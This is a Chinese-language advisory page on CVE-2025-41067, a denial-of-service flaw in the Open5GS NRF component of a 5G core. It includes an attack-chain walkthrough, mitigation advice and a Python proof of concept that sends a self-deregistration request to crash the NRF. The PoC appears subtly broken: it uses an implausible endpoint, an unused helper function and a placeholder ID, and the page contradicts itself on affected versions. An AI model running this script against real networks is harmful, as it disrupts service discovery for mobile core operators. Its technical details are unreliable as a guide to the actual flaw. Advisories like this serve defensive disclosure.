IPBUF安全漏洞报告
English
CVE-2025-41067 CVSS 7.5 高危

CVE-2025-41067 Open5GS NRF可达性断言拒绝服务漏洞

披露日期: 2025-10-27

漏洞信息

漏洞编号
CVE-2025-41067
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Open5GS

相关标签

拒绝服务可达性断言Open5GS5G核心网NRFSBICVE-2025-41067

漏洞概述

CVE-2025-41067是Open5GS中一个高危的可达性断言拒绝服务漏洞,CVSS评分达到7.5分。该漏洞存在于Open5GS的NRF(Network Repository Function)组件中,影响版本至2.7.6。攻击者通过利用SBI(Service-Based Interface)请求删除NRF自身的注册表,触发程序内部的断言检查,最终导致NRF进程崩溃,使得整个发现服务变得不可用。由于该漏洞无需认证即可利用,攻击者只需具备网络连接即可发动攻击,对5G核心网的可用性造成严重影响。Open5GS作为开源的5G核心网实现,被广泛应用于研究、测试和部分生产环境。此漏洞的披露提醒我们,即使是非恶意的操作也可能因为程序逻辑缺陷导致服务中断,开发者需要更加谨慎地处理边界条件和异常场景。

技术细节

该漏洞的根本原因在于Open5GS的NRF组件在处理特定的SBI请求时缺乏充分的输入验证。当攻击者发送一个精心构造的请求来删除NRF自身的注册表时,程序会执行一个断言检查,但由于注册表已被删除或处于不一致状态,该断言失败导致进程崩溃。具体来说,NRF的注册表用于存储和检索网络中其他NF(Network Function)的信息,当NRF尝试验证请求的合法性时,它会查找自身的注册状态,但由于该状态已被请求修改,程序执行流进入了一个未预期的分支。在Open5GS的源码实现中,NRF维护着一个本地的服务注册缓存,当收到注销请求时,程序会尝试从缓存中移除相关条目。如果攻击者发送的请求恰好针对NRF自身的注册信息,缓存管理逻辑会出现竞态条件或状态不一致,最终触发assertion失败。攻击者可以通过反复发送这类恶意请求来实现持续性拒绝服务,完全阻断5G网络中的服务发现功能,影响所有依赖NRF进行动态服务发现的NF组件。

攻击链分析

STEP 1
步骤1
攻击者获得与NRF的网络连接,可以是内部网络访问或通过社会工程学手段获取VPN/网络访问权限
STEP 2
步骤2
攻击者识别目标Open5GS部署的NRF组件及其SBI接口端点,通常位于/nnrf-nfm/v1路径下
STEP 3
步骤3
攻击者构造恶意的注销请求(deregistration request),将目标指定为NRF自身的NF实例ID
STEP 4
步骤4
NRF接收到请求后,尝试处理自身注册表的删除操作,此时触发内部状态检查
STEP 5
步骤5
由于注册表状态已被修改,程序执行流进入异常分支,触发assertion失败导致进程崩溃
STEP 6
步骤6
NRF进程终止后,5G核心网中的服务发现功能完全不可用,所有依赖NRF进行动态发现的NF组件受影响
STEP 7
步骤7
攻击者可循环发送请求实现持续性拒绝服务,直到服务恢复或管理员介入修复

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-41067 PoC - Open5GS NRF Reachable Assertion DoS This PoC demonstrates the NRF self-deregistration vulnerability. Note: For authorized testing only. """ import requests import json import sys # Configuration NRF_BASE_URL = "http://target-nrf:7777" # Update target URL SBI_HEADERS = { "Content-Type": "application/json", "Accept": "application/json", } def get_nrf_subscription(): """Discover NRF subscription callback URI""" # Query NRF for subscription callback response = requests.get( f"{NRF_BASE_URL}/nnrf-nfm/v1/subscriptions", headers=SBI_HEADERS, timeout=10 ) return response def delete_nrf_self_registration(): """Delete NRF's own registry - triggers assertion failure""" # Construct malicious deregistration request targeting NRF itself # The vulnerability exists when NRF processes its own deregistration deregister_payload = { "nfInstanceId": "nrf-instance-id", # NRF's own instance ID "reason": "SERVICE_ERROR" } response = requests.post( f"{NRF_BASE_URL}/nnrf-nfm/v1/deregistrations", headers=SBI_HEADERS, json=deregister_payload, timeout=10 ) return response def main(): print("[*] CVE-2025-41067 PoC for Open5GS NRF DoS") print("[*] Target:", NRF_BASE_URL) print("\n[1] Sending NRF self-deregistration request...") try: response = delete_nrf_self_registration() print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Body: {response.text}") if response.status_code in [204, 200, 400]: print("[!] Request sent - NRF may crash if vulnerable") else: print("[*] Unexpected response - target may be patched or not vulnerable") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("[!] NRF may have crashed or is unreachable") if __name__ == "__main__": main()

影响范围

Open5GS < 2.7.6

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1)限制对NRF SBI接口的网络访问,仅允许授权的NF组件访问;2)配置NRF的速率限制和请求配额,防止短时间内大量请求;3)实施入站流量的深度包检测,过滤异常的deregistration请求;4)建立NRF进程的自动重启机制,在检测到崩溃时快速恢复服务;5)准备NRF的备份实例,实现快速故障切换。建议同时关注Open5GS官方安全公告,及时获取最新修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表